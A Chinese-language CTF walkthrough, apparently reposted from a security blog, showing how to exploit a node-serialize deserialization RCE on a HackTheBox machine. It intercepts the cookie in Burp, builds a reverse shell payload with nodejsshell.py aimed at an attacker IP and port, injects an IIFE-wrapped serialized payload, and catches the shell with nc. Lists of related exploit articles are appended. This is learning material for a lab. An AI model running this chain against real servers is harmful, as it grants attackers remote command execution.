原文来自:http://www.4hou.com/web/13024.html

node.js是一个服务器端的运行环境,封装了Google V8引擎,V8引擎执行JavaScript速度非常快,性能非常好。Node.js进行了一些优化并提供替代API,这使得Google V8引擎能够在非浏览器环境下更有效的运行。

但是node.js的序列化过程中依然存在远程代码执行漏洞。更直白的说,其实是node.js的node-serialize库存在漏洞。通过传输JavaScript IIFE(立即执行函数表达式),攻击者可以利用恶意代码(不受信任的数据),在反序列化过程中远程执行任意代码。

漏洞演示环境

靶机:hackthebox节点服务器

攻击机:Kali Linux

安装工具:nodejs,npm,nodejs toolkit,node-serialize

关于漏洞(反序列化攻击)

不受信任的数据传递到unserialize()函数,导致我们可以利用JavaScript对象的立即执行函数表达式也就是IIFE来执行任意代码。

第一步就是安装nodejs,通过apt-get命令进行安装,如下图

apt-get install nodejs

第二步,使用curl命令安装npm(需要用npm来安装node-serialize包),命令如下:

curl -L https://www.npmjs.com/install.sh | sh

当你安装和配置好了nodejs和npm之后,你就可以通过npm来安装node-serialize包了,输入以下命令即可:

npm install node-serialize

另一方面,我们已经连接到了hackthebox服务器,它的节点服务器存在漏洞,IP是10.10.10.85:3000(节点服务器上运行着nodejs express 框架,可以通过nmap来确认)

现在我们开始演示

首先,我们配置好Burp的代理设置,然后向刚才存在漏洞的IP发起请求,用Burp抓包拦截,如图:

接着选择cookie值发送到decoder模块进行解码,如图:

这个应用程序的漏洞就是从HTTP请求的cookie中读取profile的值,进行base64解码后传递给unserialize()函数。由于cookie输入是不可信的,攻击者可以精心构造恶意cookie值来利用此漏洞。

接着我们需要下载nodejs security toolkit(nodejs安全工具包)。

在终端中输入以下命令来下载工具包:

git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

切换到下载的文件夹,执行以下命令来创建反向shell payload,这个payload会把JavaScript代码当成字符串来执行。

python nodejsshell.py 10.10.14.145 4443

不过首先我们得输入ifconfig来查看自己的IP地址, 然后再执行命令来创建payload,如图:

下图就是最终的反向shell payload:

现在我们用下面的JavaScript代码来生成序列化的payload

var y = {
 rce : function() {}
 }
 var serialize = require(‘node-serialize’);
 console.log(“Serialized: \n” + serialize.serialize(y));

将刚才生成的payload放到花括号里,如图:

将文件保存为exploit.js,然后使用node命令执行脚本来生成最终序列化的payload:

现在回到Burp中,切换到decoder模块并粘贴上图中的输出代码到文本框中解码成字符串,解码之前,在函数体后面加上IIFE圆括号():

然后需要对字符串进行base64编码

向10.10.10.85:3000发出请求,拦截,发送到repeater模块中,

在repeater模块中,我们把cookie里的值替换成上面我们刚生成的payload,然后点击go按钮

同时,在你的攻击机kali上监听4443端口(也就是反向shell payload里的端口)

一旦你点击了“go”按钮,服务器接收到请求,返回200 OK响应码,并显示一条错误消息” An error occurred…invalid username type”,同时在nc终端中,你会看到你已经与服务器建立了连接,状态为“connected”,然后你就可以任意执行系统命令了,如图:

NodeJS反序列化漏洞利用的更多相关文章

  1. CVE-2017-12149JBoss 反序列化漏洞利用

    CVE-2017-12149 漏洞描述 互联网爆出JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机 ...

  2. CVE-2017-3248——WebLogic反序列化漏洞利用工具

    著名的web中间件WebLogic被曝出之前的反序列化安全漏洞补丁存在绕过安全风险,用户更新补丁后,仍然存在被绕过成功执行远程命令攻击的情况,安全风险高,Oracle官方及时发布了最新补丁,修复了该漏 ...

  3. ThinkPHP v6.0.x 反序列化漏洞利用

    前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...

  4. Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)

    Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性. 文章目录: 1.Shiro rememberMe ...

  5. fastjson 反序列化漏洞利用总结

    比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...

  6. Shiro 反序列化漏洞利用

    环境搭建 docker pull medicean/vulapps:s_shiro_1 docker run -d -p 80:8080 medicean/vulapps:s_shiro_1 # 80 ...

  7. FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链

    0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...

  8. CVE-2017-12149 JBOOS AS 6.X 反序列化漏洞利用

    检测目录: 返回500 一般就是存在了. 下载工具: http://scan.javasec.cn/java/JavaDeserH2HC.zip 使用方法: javac -cp .:commons-c ...

  9. 从commons-beanutils反序列化到shiro无依赖的漏洞利用

    目录 0 前言 1 环境 2 commons-beanutils反序列化链 2.1 TemplatesImple调用链 2.2 PriorityQueue调用链 2.3 BeanComparator ...

随机推荐

  1. Cardano(ADA), EOS, RChain(RHOC), Aeternity(AE) 都是极其好的币

    从区块链的基础知识出发,研究ETH和EOS的区别 免责声明:EOS目前还在开发中,我们对此项目的一些理解可能会改变.而且,我并不是以太坊开发者,而只是一个喜欢区块链的爱好者.请牢记这两点,请把下面的内 ...

  2. PAT 1031 Hello World for U[一般]

    1031 Hello World for U (20 分) Given any string of N (≥5) characters, you are asked to form the chara ...

  3. NodeJS学习笔记四

    Generator简介 基本概念 Generator函数有多种理解角度.从语法上,首先可以把它理解成,Generator函数是一个状态机,封装了多个内部状态. 执行Generator函数会返回一个遍历 ...

  4. oracle extract 函数简介

    oracle中extract()函数从oracle 9i中引入,用于从一个date或者interval类型中截取到特定的部分   //语法如下:   EXTRACT (           { YEA ...

  5. bzoj1626 / P2872 [USACO07DEC]道路建设Building Roads

    P2872 [USACO07DEC]道路建设Building Roads kruskal求最小生成树. #include<iostream> #include<cstdio> ...

  6. bzoj1999 / P1099 树网的核

    P1099 树网的核 (bzoj数据加强) 前置知识:树的直径 (并不想贴我的智障写法虽然快1倍但内存占用极大甚至在bzoj上MLE) 正常写法之一:用常规方法找到树的直径,在直径上用尺取法找一遍,再 ...

  7. iptable的使用

    目录 iptables iptables iptables详解 2012-07-18 20:10:08 分类: LINUX 一:前言 防火墙,其实说白了讲,就是用于实现Linux下访问控制的功能的,它 ...

  8. POJ 2115 C Looooops(模线性方程)

    http://poj.org/problem?id=2115 题意: 给你一个变量,变量初始值a,终止值b,每循环一遍加c,问一共循环几遍终止,结果mod2^k.如果无法终止则输出FOREVER. 思 ...

  9. a标签 在新页面打开

    <a href="https://www.baidu.com/" target="_blank">下载</a>

  10. Git入门及常用命令(1)(window环境下)

    文章参考摘抄自:git教程 1.git的安装 Windows下要使用很多Linux/Unix的工具时,需要Cygwin这样的模拟环境,Git也一样.Cygwin的安装和配置都比较复杂,就不建议你折腾了 ...